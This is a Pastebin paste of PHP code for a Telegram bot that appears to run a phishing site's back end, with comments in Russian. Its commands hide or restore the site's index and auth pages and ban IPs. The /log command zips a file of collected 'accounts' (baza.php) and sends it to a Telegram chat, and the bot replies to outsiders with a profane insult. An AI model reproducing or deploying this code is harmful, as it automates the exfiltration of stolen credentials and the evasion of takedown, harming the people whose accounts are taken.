Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $data = file_get_contents('php://input');
- $data = json_decode($data, true);
- define('TELEGRAM_TOKEN', 'токен');
- define('TELEGRAM_CHATID', 'чат айди');
- if (empty($data['message']['chat']['id'])) {
- exit();
- }
- function sendTelegram($method, $response)
- {
- $ch = curl_init('https://api.telegram.org/bot' . TELEGRAM_TOKEN . '/' . $method);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $response);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- curl_setopt($ch, CURLOPT_HEADER, false);
- $res = curl_exec($ch);
- curl_close($ch);
- return $res;
- }
- if (!empty($data['message']['text'])) {
- $text = $data['message']['text'];
- $chat_id = $data["message"]["chat"]["id"];
- $name = $data["message"]["from"]["username"];
- if (strpos(file_get_contents("users.txt"), "$chat_id") === FALSE)
- {
- $log = fopen("users.txt","at");
- fwrite($log,"$chat_id \n");
- fclose($log);
- sendTelegram(
- 'sendMessage',
- array(
- 'chat_id' => TELEGRAM_CHATID,
- 'text' => 'Пользователь: @' . $name . ' прожал /start'
- )
- );
- }
- if($chat_id != '-1001283589833'){
- sendTelegram(
- 'sendMessage',
- array(
- 'chat_id' => $chat_id,
- 'text' => 'Ты кто ебаный рот?!'
- )
- );
- exit();
- return;
- }
- $keyboard = array(array("[Выключить сайт]","[включить сайт]","[Выгрузить логи]"));
- $resp = array("keyboard" => $keyboard,"resize_keyboard" => true,"one_time_keyboard" => true);
- $reply = json_encode($resp);
- if ($text == '/stop' || $text == 'Выключить сайт') {
- rename("index.php", "228608.php");
- rename("404.html", "index.html");
- rename("auth.php", "12q.php");
- sendTelegram(
- 'sendMessage',
- array(
- 'chat_id' => TELEGRAM_CHATID,
- 'text' => 'Работа сайта прекращена!'
- )
- );
- exit();
- }
- if ($text == '/start' || $text == 'включить сайт') {
- rename("index.html", "404.html");
- rename("228608.php", "index.php");
- rename("12q.php", "auth.php");
- sendTelegram(
- 'sendMessage',
- array(
- 'chat_id' => TELEGRAM_CHATID,
- 'text' => 'Снова можно работать!',
- 'reply_markup' => $encodedMarkup
- )
- );
- exit();
- }
- if ($text == '/log' || $text == 'Выгрузить логи') {
- copy('baza.php', 'db.txt');
- $files = fopen('db.txt', 'r');
- $texts = fread($files, filesize('db.txt'));
- fclose($files);
- $files = fopen('db.txt', 'w');
- fwrite($files, str_replace('<br>', '', $texts));
- fclose($files);
- $zip = new ZipArchive();
- $zip->open(__DIR__ . '/db.zip', ZipArchive::CREATE|ZipArchive::OVERWRITE);
- $zip->addFile(__DIR__ . '/db.txt');
- $zip->close();
- sendTelegram(
- 'sendDocument',
- array(
- 'chat_id' => TELEGRAM_CHATID,
- 'document' => curl_file_create(__DIR__ . '/db.zip')
- )
- );
- unlink('db.zip');
- unlink('db.txt');
- exit();
- }
- if (mb_stripos($text, 'help') !== false) {
- sendTelegram(
- 'sendMessage',
- array(
- 'chat_id' => TELEGRAM_CHATID,
- 'text' => '❗️ Команды Администрации:
- /help - Выводит команды бота
- /stop - Отключает сайт
- /start - Включает сайт
- /log - Выгружает логи сайта
- /alert <текст> - Рассылка всем кто прожимал старт
- /info - Информация о боте
- /ban <ip> - Запретить доступ определыннх ip к сайту'
- )
- );
- exit();
- }
- if (mb_stripos($text, '/alert') !== false) {
- $handle = fopen("users.txt", "r");
- $txt = preg_replace('/^\/alert/', '', $text);
- while (!feof($handle)) {
- $buffer = fgets($handle, 4096);
- sendTelegram(
- 'sendMessage',
- array(
- 'chat_id' => $buffer,
- 'text' => $txt
- )
- );
- }
- fclose($handle);
- exit();
- }
- if ($text == '/info') {
- $user = file("users.txt");
- $account = file("baza.php");
- sendTelegram(
- 'sendMessage',
- array(
- 'chat_id' => TELEGRAM_CHATID,
- 'text' => 'Пользователей в боте: ' . count($user) . '
- Аккаунтов: ' . count($account) . ''
- )
- );
- exit();
- }
- if (mb_stripos($text, '/ban') !== false) {
- $ipban = preg_replace('/^\/ban /', '', $text);
- $ban = fopen("ban.list","at");
- fwrite($ban,"$ipban \n");
- fclose($ban);
- sendTelegram(
- 'sendMessage',
- array(
- 'chat_id' => TELEGRAM_CHATID,
- 'text' => 'ip добавлен в черный список!'
- )
- );
- exit();
- }
- }
- ?>
Add Comment
Please, Sign In to add comment